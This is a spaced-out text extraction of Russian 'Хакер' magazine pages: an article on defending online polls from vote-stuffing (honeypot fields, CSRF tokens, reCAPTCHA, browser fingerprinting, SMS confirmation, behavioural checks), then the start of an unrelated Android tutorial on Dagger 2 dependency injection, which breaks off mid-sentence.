(то есть полей без визу аль ного отоб ражения) и при обра бот ке фор мы про ‐
веря ешь,  запол нено  ли  такое  поле.  Пос коль ку  поле  скры то,  обыч ный  поль ‐
зователь  его  не  запол нит,  а  бот  это го  не  зна ет,  он  попыта ется  переб рать
и  запол нить  абсо лют но  все  име ющиеся  в фор ме  поля.  Тем  самым выдавая
себя.

honeypot

до бав ляешь в фор му  голосо вания нес коль ко  «скры тых» полей

На пос ледок  напом ню  о  при мене нии    для  фор мы.
При  соз дании фор мы на  сер вере  всег да  генери руй  для  нее  токен,  который
будет  переда вать ся  обратно.  Если  токен  зарегис три рован,  то  сто ит  обра ‐
ботать  резуль тат,  а  если  нет,  то  навер няка  это  бот,  отсы лающий  фей ки.
Наличие токена будет гаран тией, что стра ница была заг ружена и резуль таты
голосо вания отправ ляют ся имен но с нее.

за щит ных  токенов

Не мало важ но так же про верять на сто роне сер вера 
. В этом воп росе сто ит про являть осо бую осто рож ность, так как мно го

поль зовате лей  могут  фак тичес ки  сидеть  на  одном  IP‐адре се.  Нес мотря
на это, ник то не отме нял филь тра цию отправ ки по вре мени. Нап ример, если
с  одно го  IP‐адре са  мно гок ратно  отправ ляет ся  фор ма,  то,  ско рей  все го,
здесь что‐то нечис то и такие зап росы сле дует рубить на кор ню.

IP учас тни ка голосо -

вания

Ми нусы
Внед рение кап чи, honeypot,  токенов не спа сет от поль зовате ля, жела юще го
про голо совать  нес коль ко  раз,  но  хорошо  затор мозит  без моз глых  ботов.
Это уже неп лохая защита, эффектив ность которой лег ко рас ширя ется за счет
внед рения дру гих тех ник.

Вер дикт
Внед рять сто ит однознач но! Защита от ботов не может быть лиш ней, а ведь
имен но ими будут пытать ся нак рутить в пер вую оче редь.

Как реали зовать
Го товых  капч  сущес тву ет  немало,  но  наиболь шую  популяр ность  и  сла ву
надеж ной  зас лужила  обновлен ная  reCAPTCHA  2,  соз данная  в  ком пании
Google.  Для  Node.js  внед рение  зак люча ется  в 

.
под клю чении  и  нас трой ке

модуля recaptcha 2
Что  каса ется  токенов,  то прос то  гуг лим в сто рону Cross‐site Request For‐

gery. В про ектах для Node.js  .хо рошо себя зареко мен довал модуль csurf

reCAPTCHA 2. Инно ваци онная кап ча от Google

СИЛА ФРОНТА
Воп рос  на  засып ку:  где  на  кли енте  сох ранить  информа цию,  поз воля ющую
точ но  ска зать,  что  поль зователь  уже  про голо совал?  Самый  поп совый
и  ненадеж ный  вари ант  —  cookies.  Идея  прос та:  если  про вер ки  прош ли
успешно, то уста новим поль зовате лю в cookies сфор мирован ный на сер вере
токен. При  сле дующем посеще нии  стра ницы обя затель но  про верим,  нет  ли
такого  токена  в  базе.  Если  есть,  то  поль зователь  уже  про голо совал  и  нам
неин тересен.

Зву чит хорошо, но поль зовате лю ведь нич то не меша ет почис тить в бра ‐
узе ре плюш ки и обвести про вер ку вок руг паль ца. Но если спо соб ненаде жен,
зачем  про  него  рас ска зывать?  А  затем,  что  он  при годит ся  нам  для  общей
мас киров ки.

По мимо cookies, нам дос тупны более прод винутые объ екты, поз воля ющие
хра нить дан ные на кли енте:  . Нич ‐
то не меша ет сох ранять токены учас тни ка голосо вания в раз ных мес тах. Если
у  поль зовате ля  пус тые  cookies,  а  в  localStorage,  наобо рот,  име ется  дан ный
токен, то поль зователь навер няка совер шил грех нак рутки и зас лужива ет очи ‐
щающе го бана.

sessionStorage, localStorage и IndexedDB

Cookies до сих пор исполь зуют ся

На ибо лее пол ное соб рание доков для фрон тенд‐раз работ чика

Ми нусы
У  поль зовате ля  есть  пол ный  дос туп  ко  всем  перечис ленным  хра нили щам,
и он в любой момент может их очис тить. Име ет смысл исполь зовать для соз ‐
дания допол нитель ной линии обо роны.  .Боль ше помех — выше успех

Вер дикт
Сто ит  взять  на  замет ку  и  обя затель но  реали зовать.  Далеко  не  все  поль ‐
зовате ли прод винуты. Сле дова тель но, есть шан сы, что в одном из хра нилищ
информа ция может задер жать ся.

Как реали зовать
Вза имо дей ство вать с перечис ленны ми  хра нили щами прос то. Для  уста нов ки
зна чений  исполь зует ся  метод  setItem('key',  'value'),  а  для  счи тыва ния —  get‐
Item('key'). Пара при меров:

sessionStorage.setItem('userId', '12345');
var userId = sessionStorage.getItem('userId'); //123456
localStorage.setItem('userId', '123');
var userId = localStorage.getItem('userId'); //123

С  IndexedDB  работать  чуточ ку  слож ней  (это  все  же  база  дан ных),  поэто му
за при мером   или сра зу к сле дующе му раз делу.от прав ляю в MDN

СИЛА ФРОНТА. КОПАЕМ ГЛУБЖЕ
По явле ние новых хра нилищ дан ных на кли енте — замеча тель ная новость, но,
кро ме  них,  есть  и  дру гие,  более  неп римет ные  мес та: 

  и  так  далее.
Как ты понима ешь, в них тоже впол не реаль но оставлять свои мет ки.

хра нили ще

для  Flash/Silverlight-объ ектов,  Java  JNLP PersistenceService

Что бы  не  запутать ся  и  не  перего реть  в  попыт ках  нас ледить  во  всех  тай ‐
никах, был соз дан про ект  . Биб лиоте ка поз воля ет разом записать
необ ходимые дан ные  в  нес коль ко  источни ков,  а  потом  так же  лег ко  их  счи ‐
тать.

Evercookie

Evercookie зна ет мно жес тво тай ников и помога ет иден ‐
тифици ровать поль зовате ля

Ес ли  с  Evercookie  лег ко  разом  «осесть»  в  нес коль ких  не  слиш ком  широко
извес тных  мес тах  опе раци онной  сис темы,  то 
поможет  быс тро  узнать  уни каль ный  иден тифика тор  поль зовате ля  (хеш‐сум ‐
ма), рас счи тан ный по ряду дос тупных для получе ния парамет ров (под держи ‐
ваемые  бра узе ром  тех нологии,  геозо на,  спи сок  пла гинов,  User  Agent  и  так
далее). Выходит, вмес те с отправ кой фор мы голосо вания надо еще отправ ‐
лять  вот  такой  иден тифика тор  и  уже  на  сер вере  опре делять,  был  ли  голос
от  поль зовате ля  с  таким  ID  или  нет.  Пос коль ку  Fingerprint.js  для  работы
не  тре бует ся  исполь зование  каких‐либо  хра нилищ,  он  будет  прек расно
работать в режиме инкогни то.

биб лиоте ка  Fingerprint.js

Ми нусы
Оба про екта чер тов ски популяр ны (тот же Fingerprint.js исполь зует ся в серь ‐
езных про ектах: MasterCard, AddThis, Baidu и дру гих), а зна чит, это одновре ‐
мен но  плюс  и  минус.  От  прос тых  смер тных  они  защитят  на  ура,  но  люди
в  теме  смо гут  их  без  проб лем  обой ти,  так  как  всег да  есть  воз можность
открыть исходни ки и разоб рать ся с прин ципом дей ствия.

Вер дикт
Про екты  акку мули руют  мно жес тво  тех ник  иден тифика ции  поль зовате лей,
поэто му  однознач но  дос той ны  вни мания.  Лег кость  интегра ции  и  при мене ‐
ния — допол нитель ные аргу мен ты за исполь зование этих биб лиотек.

Как реали зовать
Вы пол нить две коман ды для npm и ско пипас тить нес коль ко баналь ных стро ‐
чек кода из докумен тации.

ДВУХФАКТОРНЫЙ КОНТРОЛЬ
Пе речис ленные  выше  спо собы  дают  опре делен ный  уро вень  кон тро ля,  но  и
его  недос таточ но.  Зло умыш ленник,  жела ющий  под кру тить  резуль таты,  рано
или поз дно раз берет ся с  защитой и нач нет мас сирован ную нак рутку. Что бы
еще  боль ше  усложнить  жизнь  хулига ну,  рекомен дую  добавить  в  фор му
голосо ваний  .  Бан ки,
раз личные сер висы прек расно исполь зуют этот при ем во вре мя двух фактор ‐
ной авто риза ции.

не обхо димость  под твержде ния  голоса  через  СМС

Идея  прос та:  выб рав  в  фор ме  голосо вания  пон равив ший ся  ответ,  поль ‐
зователь  дол жен  ввес ти  номер  мобиль ного  телефо на,  на  который  при дет
сооб щение  с  про вероч ным  кодом.  Даль ше  он  вво дит  его  в  спе циаль ное
поле, и выпол няет ся про вер ка. Если про вероч ный код вве ден пра виль но, то
зас читыва ем голос и запоми наем телефон.

Вто рой  раз  поль зователь  при  всем  желании  про голо совать  с  одно го
и  того  же  номера  не  смо жет.  Что бы  жизнь  сов сем  малиной  не  казалась,
заранее  мож но  пре дус мотреть  пул  допус тимых  номеров.  Самый  прос той
вари ант — филь тро вать по коду стра ны.

В  осо бых  слу чаях  (нап ример,  про веде ние  город ско го  опро са)  целесо ‐
образно  отме тать  номера  поль зовате лей  из  дру гих  городов.  Да,  факапы
в  таких  филь трах  име ют  мес то  быть  (появи лась  воз можность  перено са
номеров), но ник то ведь не говорил, что будет сов сем лег ко?

Ми нусы
Го лосо вание  дол жно  быть  дос той но  того,  что бы  ради  него  городить  такой
ого род (для раз работ чика), и иметь для поль зовате ля дос таточ ную цен ность,
что бы  нап рягать ся  с  двух фактор ной  авто риза цией.  Обра ти  вни мание,  что
(спа сибо мошен никам) у мно гих поль зовате лей вооб ще раз вилась аллергия
на фра зу «вве дите ваш номер телефо на» и они зак рыва ют вклад ку бра узе ра
сра зу, как толь ко ее уви дят.

Рас сылать СМС при дет ся через сто рон ний сер вис. Чем он надеж ней, тем
дороже  будет  исхо дящее  сооб щение.  Воп рос  надеж ности  тре бует  осо бого
вни мания, так как от это го зависит, нас коль ко чет ко и опе ратив но СМС будут
доходить до адре сата.

Сог ласись, тол ку от сооб щения с про вероч ным кодом, получен ного через
сут ки  пос ле  голосо вания, мало. Сле дова тель но,  если  пла ниру ется  боль шое
количес тво учас тни ков голосо вания, то при дет ся разорить ся.

Нес мотря на общую надеж ность пред ложен ного метода, обой ти его впол ‐
не  реаль но.  Хакер  может  пот ратить ся  на  вир туаль ные  номера  и  авто мати ‐
зиро вать  получе ние  про вероч ных  кодов.  Раз добыть  вир туаль ный  номер
с  кодом  стра ны  (+7)  слож ней,  но  все  же  воз можно.  Сер висы  вро де 
подоб ные услу ги пре дос тавля ют.

nexmo

Вер дикт
Под клю чать рас сылку про вероч ных кодов сто ит при край ней необ ходимос ти.

Как реали зовать
На деж ных сер висов для отправ ки сооб щений мно го. Опти маль ный вари ант —
отправ ка  нап рямую  через  опе рато ра.  Боль шая  трой ка  сотовых  опе рато ров
пре дос тавля ет  соот ветс тву ющую  услу гу  (для  орга низа ций),  и  у  них  реали ‐
зован адек ватный API и при меры исполь зования. Аль тер натив ным вари антом
могут быть сер висы вро де  . Это по фак ту пос редни ки, но у них будут
чуть‐чуть  более  прив лекатель ные цены,  и  с  ними про ще начать  работать —
орга низа цион ные воп росы реша ются однознач но быс трей.

sms 4b.ru

НАМ ПОМОГУТ ПОСРЕДНИКИ
С  нак руткой  дав но  про буют  бороть ся  таким  инте рес ным  спо собом,
как перенос голосо вания со сво его ресур са в соци аль ные сети. VK, FB, Twit‐
ter и про чие пожира тели рабоче го вре мени поз воля ют орга низо вывать опро ‐
сы, тем самым беря на себя и защиту от нак рутки и сопутс тву ющих проб лем.

Уби вает ся  сра зу  нес коль ко  зай цев:  прог рамми ровать  ничего  не  надо
и  зас тавлять  поль зовате ля  регис три ровать ся  тоже.  Акка унты  в  популяр ных
соци аль ных  сетях  есть  у  каж дого  или  поч ти  у  каж дого.  Наличие  акка унта —
уже  сво еоб разная  защита  от  нак рутки.  Плюс  появ ляет ся  воз можность  сег ‐
менти ровать  ауди торию.  Нап ример,  твой  зап рос  заточен  боль ше  на  ауди ‐
торию Twitter’а, тог да нет смыс ла замора чивать ся поз волять голосо вать учас ‐
тни кам дру гих соц сетей.

Ес ли ни одна из соци аль ных сетей не под ходит для про веде ния опро сов,
мож но  орга низо вать  сам  опрос  у  себя  на  ресур се,  но  пре дос тавить  поль ‐
зовате лям  воз можность  голосо вать  пос ле  пред варитель ной  авто риза ции
через соц сеть.

Даль ше  все  зависит  от  тво ей  фан тазии:  мож но  отсе кать  поль зовате ля
по его городу или дру гим кри тери ям. Нап ример, голосо вать могут учас тни ки
опре делен ной груп пы, в которую всту пают по одоб рению модера торов. Спо ‐
соб  гаран тиру ет  прак тичес ки  стоп роцен тную  защиту,  но  подой дет  далеко
не во всех слу чаях. Если нет активно го сооб щес тва — ничего не получит ся.

Ми нусы
Про бить  мож но  количес твом  дру зей  или  фей ковыми  акка унта ми.  С  пос ‐
ледним мож но бороть ся, вво дя допол нитель ные филь тры (нап ример, город),
но  говорить  с  пол ной  уве рен ностью,  что  это  поможет,  нель зя.  В  Сети
навалом все воз можных бирж, где за неболь шую сум му мож но наб рать «доб ‐
роволь цев»,  которые  с  радостью  про голо суют  за  нуж ный  вари ант,  да  еще
и оста вят осмыслен ный ком мента рий.

Вер дикт
Оче вид ным  «за»  будет  лег кость  реали зации,  а  оче вид ным  «про тив» —  рас ‐
простра нен ность  бирж  с  реаль ными  поль зовате лями,  готовы ми  голосо вать
за воз награж дение. Допол нитель ные филь тры помогут отсечь левых учас тни ‐
ков,  но  ненадол го.  Если  тре бует ся  быс тро  запус тить  голосо вание/опрос,
не  дос тавляя  поль зовате лям  слож ностей  и  без  лиш них  пережи ваний  о  нак ‐
рутке, — вари ант отличный.

Как реали зовать
Смот рим  инс трук цию  опре делен ной  соци аль ной  сети  (как  орга низо вывать
опро сы),  а  при  желании  прик рутить  авто риза цию  через  соц сеть  на  сво ем
ресур се  обра щаем ся  за  помощью  к  раз личным  биб лиоте кам,  API  соц сетей
и офи циаль ной докумен тации для раз работ чиков. Фанатам Node.js рекомен ‐
дую прис мотреть ся к  .passport.js

ПОВЕДЕНЧЕСКИЕ ФАКТОРЫ
Прек расной  защитой  от  ботов  будет  внед рение  методов,  осно ван ных
на  поведен ческих  фак торах.  Нич то  не  меша ет  нам  собирать  при  перехо де
на стра ницу с голосо вани ем вот такие парамет ры:

вре мя  нахож дения  на  стра нице  пос ле  ее  пол ной  заг рузки. Поль зователь
дол жен как минимум вдум чиво про читать вари анты опро са, а на это тре ‐
бует ся вре мя;

•

дей ствия  на  стра нице.  Скролл  (нап ример,  до  фор мы  с  голосо вани ем),
переме щение  кур сора  мыши  над  вари анта ми  отве та,  каким  обра зом
выпол нялся клик (мыш кой или кла виату рой) и так далее.

•

На  осно вании  этой  информа ции  дела ем  соот ветс тву ющие  выводы  и  впос ‐
ледс твии 

 за опре делен ный вари ант.
филь тру ем  поль зовате лей,  которых  инте ресо вал  не  опрос,

а выпол нение чьей‑то прось бы про голо совать

Ми нусы
Слож ность  прог рамми рова ния  и  ана лиза.  Сбор мет рики  и  написа ние  алго ‐
рит ма ана лиза дан ных пот ребу ет вре мени и хороше го опы та прог рамми рова ‐
ния. Если дей ство вать «в лоб», то мож но натупить и сбро сить с уче та голоса
реаль ных поль зовате лей.

Вер дикт
Ес ли ты серь езно под ходишь к орга низа ции голосо вания, то однознач но сто ‐
ит  про думать  стра тегию  оцен ки  поведен ческих фак торов  учас тни ка  голосо ‐
ваний.  Чем  боль ше  вре мени  будет  это му  уде лено,  тем  луч ше  получит ся
зачис тить резуль таты от нак рутки.

Как реали зовать
Про думать и про писать на бумаге сце нарии поведе ния поль зовате ля, а затем
соб рать все необ ходимое с помощью JavaScript.

СОВМЕЩАЕМ ОНЛАЙН С ОФЛАЙНОМ
Этот спо соб акту ален для ком паний, занима ющих ся про дажей реаль ных про ‐
дук тов  (жур наль чиков  или  газиров ки,  нап ример).  Спо соб  прост  до  безоб ‐
разия  и  успешно  при меня ется  раз личны ми  изда ниями,  ком пани ями  вро де
Pepsi  или  Coca‐Cola.  Берем  офлайн‐про дукт  и  где‐нибудь  на  упа ков ке
печата ем уни каль ный циф ровой код, с помощью которо го точ но мож но иден ‐
тифици ровать поль зовате ля.

Это  может  быть  уни каль ный  набор  цифр/букв  (вспо мина ем  кон курсы
с при зами из‐под крыш ки) или даже сов ремен ный QR‐код. Учас тник голосо ‐
вания  покупа ет  про дукт  и  гаран тирован но  получа ет  один  шанс  для  голосо ‐
вания.  Безус ловно,  пот ребитель  спо собен  закупить  целый  вагон  про дук тов
или искать бутыл ки/чеки по помой кам  :), но мы понима ем,  что на это нуж ны
огромные ресур сы.

В СТИЛЕ RANDOM
Мы рас смот рели нес коль ко вари антов защиты от нак рутки. Ты убе дил ся, что
добить ся  стоп роцен тно го  успе ха  в  этом  деле  невоз можно.  Любая  защита
име ет  сла бые мес та,  а  раз  так,  то  при желании  и  наличии  вре мени  ее  воз ‐
можно про бить. Все зависит от конеч ной цели и наг рады. Если цель голосо ‐
вания  —  выб рать  самую  сек суаль ную  сот рудни цу  ООО  «Рога  и  копыта»,
а  приз —  короб ка  кон фет,  то  вряд  ли  у  кого‐то  появит ся  желание  копать ся
и ана лизи ровать алго ритм голосо вания с целью нак рутки.

Сов сем дру гое дело, если победи тель дол жен получить новень кий Range
Rover. Тут цен ность замет но выше и халяв щиков будет боль ше.

Каж дый  из  опи сан ных  спо собов  защиты  хорош  по‐сво ему.  Не  сто ит
выбирать из них самый луч ший — его по опре деле нию не сущес тву ет. Сфо ‐
куси руй ся на соз дании нес коль ких линий защит. Мик суй раз личные спо собы
и во вре мя про веде ния опро сов дер жи руку на пуль се. Пос тоян но мониторь
резуль таты  и  ана лизи руй  поведе ние  учас тни ков.  Пом ни:  мно гие  проб лемы
решить про ще, если сво евре мен но о них узнать.

Бу дут воп росы — сме ло пиши в ком менты! Если воз никнет желание про честь
более напол ненную кодом статью, сме ло тре буй, и мы ее сде лаем :). Прос то
этот обзор спо собов защиты от нак рутки уже сам по себе объ емный: целых
четыре полосы, если счи тать по стра ницам ста рого бумаж ного «Хакера».

WWW

  —  под ‐
робная информа ция о ETag.

•https://ru.wikipedia.org/wiki/HTTP_ETag

 —  хороший  сер вис  для  соз ‐
дания и тес тирова ния HTTP‐зап росов.

•https://www.hurl.it/

  —  откры тый  про ект,
демонс три рующий  опре деле ние  уни каль нос ти
поль зовате ля на осно вании раз личных кри тери ‐
ев.

•https://panopticlick.eff.org/

 — еще один сер вис, поз ‐
воля ющий  про верить  и  иден тифици ровать
поль зовате ля  по  раз личным парамет рам. Идея
такая же, как и у Panopticlick, но в опре деле нии
«циф рового  отпе чат ка»  учас тву ют  дру гие
парамет ры.  Исходный  код  про екта  дос тупен
на GitHub.

•https://amiunique.org/

  —  дос той ная  аль тер натива
Fingerprint.js.

•https://clientjs.org/

  —  док лад  авто ра  Finger‐
print.js  о  раз личных  спо собах  иден тифика ции
поль зовате лей.

•https://habrahabr.ru/company/oleg‐
bunin/blog/321294/

  —  доб ротный
гайд по интегра ции reCAPTCHA 2.

•https://habrahabr.ru/post/244779/

mailto:antonov.igor.khv@gmail.com
https://github.com/jshttp/etag
http://php.net/manual/fa/function.http-cache-etag.php
https://www.google.com/recaptcha/
https://www.npmjs.com/package/recaptcha2
https://www.npmjs.com/package/csurf
https://developer.mozilla.org/
https://github.com/samyk/evercookie
https://github.com/Valve/fingerprintjs2
https://www.nexmo.com/
https://sms4b.ru/
http://passportjs.org/
https://ru.wikipedia.org/wiki/HTTP_ETag
https://www.hurl.it/
https://panopticlick.eff.org/
https://amiunique.org/
https://clientjs.org/
https://habrahabr.ru/company/oleg-bunin/blog/321294/
https://habrahabr.ru/post/244779/
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КОДИНГ

Ес ли  тебе  при ходи лось  перепи сывать  ста рый  код  толь ко
для  того,  что бы  он  зарабо тал  в  новом  про екте,  зна чит,  ты
кое‐что  упус тил.  Наш  жур нал  спе шит  на  помощь,  сроч но
выкиды вай «кос тыли» и «ржа вые велоси педы» — с это го дня
твоя жизнь кру то поменя ется. :)

БАГАЖ ЗНАНИЙ
Уве рен,  ты  не  раз  пытал ся  соз дать  уни каль ное  Android‐при ложе ние,  сов ‐
местив фун кци ональ ность нес коль ких ста рых про ектов, но вот беда — ранее
написан ные  клас сы  никак  не  хотели  работать  вмес те.  Тог да  ты  начинал  их
активно  рефак торить,  перепи сывая  метод  за  методом.  В  резуль тате  либо
получал ся сов сем новый код, либо про ект так и не выходил в релиз.

WWW

Ес ли  ты  при соеди нил ся  к  мощ ней шей  армии
наших читате лей недав но, советую тебе 
мои  пре дыду щие  статьи  на  тему  Android‐раз ‐
работ ки. Тем более что я час то на них ссы лаюсь
в новых матери алах. :)

про честь

При чиной всех этих переде лок была клас сичес кая для ООП проб лема 
: для фун кци они рова ния одно го объ екта тре буют ся два дру гих, а в

них нуж но ини циали зиро вать еще нес коль ко.

связ -

ности кода

public class DoTheJob {
   public doTheJob(Context ctx, String path, Boolean isRecursive …)

Ког да класс   соз давал ся, все мог ло быть впол не логич но, но теперь
его  лег че  пол ностью  перепи сать,  чем  адап тировать  под  новые  задачи,  —
для соз дания объ екта тре бует ся мно го парамет ров, при чем нет уве рен ности,
что они несут полез ную наг рузку.

DoTheJob

Те перь при дет ся дол го рефак торить код, уби рая лиш нее, ина че при ложе ‐
ние будет съедать слиш ком мно го памяти. Сов сем недав но мы рас смот рели
пат терн MVP, и он, конеч но, поможет как‐то адап тировать такой код. А иног да
новые объ екты появ ляют ся сов сем неожи дан но, и за ними тоже надо сле дить.

AlienClass alien;
...
@Override
protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);
 alien = new AlienClass(this);
 ...

Объ ект  ,  воз можно,  и  выпол няет  полез ную  работу,  но  не факт,  что  она
нуж на в новом про екте. К тому же ему переда ется ссыл ка на  , а зна чит,
это потен циаль ный канал утеч ки памяти. При дет ся вни кать, для чего этот alien
нужен и ког да его мож но будет уже выг рузить из памяти. Все идет к тому, что
на  эта пе  тес тирова ния  при дет ся  уда лить  весь  ста рый  код  и  заречь ся  ког ‐
да‐либо его исполь зовать.

alien
Activity

Ес тес твен но,  слож ности  с  пов торным  исполь зовани ем  кода  появи лись
задол го  до  изоб ретения ОС  Android.  Пос тепен но  вырабо тал ся  уни вер саль ‐
ный под ход к решению таких проб лем — это пат терн «Инъ екция зависи мос ‐
тей», или DI‐пат терн.

Как  ты  уже  понял,  глав ная  проб лема  интегра ции  написан ного  ранее
кода  —  это  необ ходимость  ини циали зации  каких‐то  дру гих  клас сов,
от которых он зависит. Ког да в середи не кода встре чает ся генера ция новых
объ ектов, то счи тает ся, что у клас са есть зависи мость (dependency).

public class A {
   public void doSmth() {
    B b = new B(this);
    b.generateData(); }...

Раз решать такие зависи мос ти мож но по‐раз ному, но удоб нее все го передать
уже сущес тву ющий объ ект через конс трук торы или set‐метод.

public class A {
   public A(B obj)
    {b=obj;}
   public void doSmth()
 {b.generateData(); }...

Рис. 1. Отли чие пря мой зависи мос ти и ее инъ екции

Те перь связ ность кода ста ла мень ше, объ ект клас са   получен в виде ссыл ки
и  внут ри  клас са    не  нуж но  заботить ся  о  его  генера ции.  Такой  под ход
называ ется инъ екци ей зависи мос ти (dependency injection).

B
A

Но  есть  одна  проб лема  —  у  клас са    могут  быть  свои  зависи мос ти,
у которых, в свою оче редь, будут еще зависи мос ти. В резуль тате получа ется
цепоч ка  клас сов,  часть  из  которых  нам  совер шенно  не  нуж на.  Сра зу  воз ‐
раста ет  веро ятность  дуб лирова ния  объ ектов,  лег че  «забыть»  их  в  памяти  и,
как следс твие, исчерпать все ресур сы при ложе ния.

B

К  счастью,  всё  это  пре дус мотре ли!  Реали зуя  DI‐пат терн,  прог раммист
дол жен  соз дать  некий  кон тей нер,  который  будет  хра нить  в  себе  все  необ ‐
ходимые про екту зависи мос ти.

class1 => array("Dependency1", "Dependency2" ...)

И  каж дый  раз,  ког да  пот ребу ется  удов летво рить  какую‐то  зависи мость,  ее
мож но прос то получить из кон тей нера. При этом кон тей нер будет не толь ко
выдавать объ екты, но и сле дить за их жиз ненным цик лом: не пло дить новые
без необ ходимос ти и выг ружать ста рые, ког да они уже точ но ста нут не нуж ны.
Удов летво рение  зависи мос тей  кода  через  умный  кон тей нер —  суть  DI‐пат ‐
терна.

DAGGER 2
Хо рошая новость: такой кон тей нер самому писать не надо. В Java есть нес ‐
коль ко реали заций это го пат терна, в мире Android это фрей мворк Dagger. Его
пер вая  вер сия  появи лась  нес коль ко  лет  назад,  и  он  сра зу  при шел ся  раз ‐
работ чикам по вку су. Вско ре ком пания Google начала раз вивать его самос ‐
тоятель но,  выпус тив  силь но  допол ненную  вер сию,  и  называ ется  он  теперь
Dagger 2.

Фрей мворк сам пос тро ит свя зи меж ду объ екта ми и будет кон тро лиро вать
их жиз ненный цикл. В отли чие от биб лиотек и фрей мвор ков, которые мы уже
раз бирали  рань ше,  Dagger  2  раз реша ет  получив шиеся  зависи мос ти  толь ко
на эта пе ком пиляции прог раммы.

СТРУКТУРА
В Dagger 2 есть нес коль ко базовых ком понен тов, на которых будет стро ить ся
при ложе ние.  Что бы  луч ше  понять  про исхо дящее,  коротень ко  про бежим ся
по их фун кци ональ ным воз можнос тям.

 (синг лто ны, или оди ноч ки) — это все те клас сы, которые уже
были тобой написа ны и ждут сво ей интегра ции: сетевые зап росы, кеширо ‐
вание  и  так  далее.  «Оди ночес тво»  зак люча ется  в  том,  что Dagger  2  пол ‐
ностью  кон тро лиру ет  их  жиз ненный  цикл  и  не  поз воля ет  при ложе нию
генерить таких объ ектов боль ше, чем необ ходимо.

• Singletones

  (модули) —  набор  клас сов,  опи сыва ющих  поведе ние  синг лто ‐
нов.  Фрей мворк  поз воля ет  гиб ко  кон фигури ровать  пра вила  исполь ‐
зования объ ектов, модули нуж ны имен но для это го.

• Modules

  (ком понент)  —  хра нит  в  себе  ссыл ки  на  все  необ ходимые
час ти  при ложе ния:  синг лто ны,  модули,  акти вити  и  дру гие.  Фрей мворк
будет инжекти ровать зависи мос ти на осно ве дан ных, получен ных из ком ‐
понен та.

• Component

Класс   — не сов сем часть фрей мвор ка, но важ ная сос тавля ‐
ющая.  Сге нери рован ный  код  дол жен  фун кци они ровать  на  про тяже нии
жиз ни все го при ложе ния, от самого стар та и до кон ца. За жиз ненный цикл
при ложе ния  в  целом  отве чает  класс  Application,  его  нуж но  будет  рас ‐
ширить и вста вить туда зап рос на ини циали зацию фрей мвор ка.

• Application

Рис. 2. Схе ма работы фрей мвор ка Dagger 2

СОБЕСЕДОВАНИЯ
Еще одна при чина исполь зовать «ста рый» код — это эко номия собс твен ного
вре мени  при  соз дании  маловаж ных  про ектов.  Нап ример,  быс тро  написать
ста биль ный  код  может  понадо бить ся  на  собесе дова нии.  Кан дидатов
на вакан сию Android‐раз работ чика обыч но про сят написать при ложе ние, заг ‐
ружа ющее дан ные из сети с пос леду ющим выводом на экран и кеширо вани ‐
ем  в  базу.  В  целом  это  прос тые  задачи,  которые  встре чают ся  прак тичес ки
в каж дом про екте. Но задания всег да нем ного раз лича ются, а перепи сывать
код не хочет ся. Если вре мени на бес плат ную работу нет, а резуль тат нужен —
зна чит, пора исполь зовать фрей мвор ки!

СИНГЛТОНЫ
К коду синг лто на нет осо бых тре бова ний, глав ное, что бы не было вне зап ных
зависи мос тей внут ри метода и дру гих велоси педов. Соз давать при ложе ние я
решил с сетевой час ти — в этом мне поможет биб лиоте ка Retrofit.

public class RetrofitLoader {
 public RetrofitLoader()
  {}

Для  пос тро ения  зап роса  нуж ны  толь ко  адрес  и  тип  зап роса,  осталь ные
парамет ры  добавят ся  авто мати чес ки.  Зап росы  в  сеть  всег да  выпол няют ся
в  отдель ном  потоке,  ответ  не  при дет  мгно вен но,  и  нуж но  задать  будущий
обра бот чик‐получа тель. Что бы не пло дить лиш ние ссыл ки внут ри синг лто на,
отправ ку такого зап роса ини циируем поз же, уже в Activity. В ито ге от синг лто ‐
на нужен толь ко сфор мирован ный зап рос,  который Retrofit  хра нит в объ екте
клас са Call.

public Call retrofitLoad(String url)
 {JsonInterface mainNewsInterface;
  ...
  mainNewsInterface = retrofit.create(JsonInterface.class);
  Call<List<ContactJson>> call = mainNewsInterface.loadMainNews();
  return call;}

Те перь  на  оче реди  база  дан ных,  синг лтон  для  работы  с  ней  я  решил  взять
из  моей  прош лой  статьи.  Та  реали зация  пол ностью  под ходит,  я  толь ко
добавил еще один конс трук тор, убрав лиш ние парамет ры.

public class DummySQLite extends SQLiteOpenHelper implements DAO {
 public DummySQLite(Context context)
  {super(context, DATABASE_NAME, null, DATABASE_VERSION);} …

МОДУЛИ
Пос коль ку  весь  нуж ный  код  фрей мворк  сге нери рует  сам  на  эта пе  ком ‐
пиляции, тебе оста ется толь ко пра виль но передать парамет ры инъ екции. Они
переда ются  через  анно тации  —  спе циаль ный  тег  перед  име нем  клас са,
метода или перемен ной. Пер вым делом нуж но ука зать фрей мвор ку, что этот
класс явля ется модулем.

@Module
public class NetworkModule {

Dagger  2  заг ружа ет  синг лто ны  через  спе циаль но  отме чен ные  get‐методы
внут ри модулей. Исходный  код  синг лто на мож но  рас положить  как  в  отдель ‐
ном клас се, так и внут ри модуля — все зависит от удобс тва.

@Provides @Singleton
RetrofitLoader getNetworkLoader()
 {return new RetrofitLoader();}

Об рати  вни мание  на  мет ку    —  она  ука зыва ет  фрей мвор ку,  что
в памяти при ложе ния дол жен быть толь ко один объ ект клас са  .
Это  помога ет  не  пло дить  лиш ние  сущ ности,  убе регая  прог раммис та
от ковар ного бага — утеч ки памяти.

Singleton
RetrofitLoader

Еще у  ‐методов есть одно важ ное пра вило: они дол жны вызывать ся
без парамет ров. Если генери руемый синг лтон не может обой тись без внеш ‐
них зависи мос тей, то их нуж но переда вать через конс трук тор модуля. В этом
слу чае базе дан ных для работы обя затель но тре бует ся кон текст при ложе ния.

provide

@Module
public class DBModule {
 DaggerApp daggerApp;
 public DBModule(DaggerApp daggerApp)
  {this.daggerApp=daggerApp;}

Ин терес но,  что  у  ‐методов  могут  быть  абсо лют но  любые  наз вания,
фрей мворк их най дет по анно тации и типу воз вра щаемо го зна чения.

provide

@Provides @Singleton
public DummySQLite provideDummySQLite()
 {return new DummySQLite(daggerApp.getApplicationContext());}

КОМПОНЕНТ
А теперь пора соб рать вмес те модули и синг лто ны с анно таци ями. Парамет ‐
ры  ком понен та  так же  зада ются  анно таци ями — он  дол жен  быть  единс твен ‐
ным ( ) и содер жать в себе тре буемый набор модулей.Singleton

@Singleton
@Component(modules = {DBModule.class, NetworkModule.class})
public interface CustomComponent {

Ком понент  пред став ляет  собой  интерфейс,  из  которо го  потом  фрей мворк
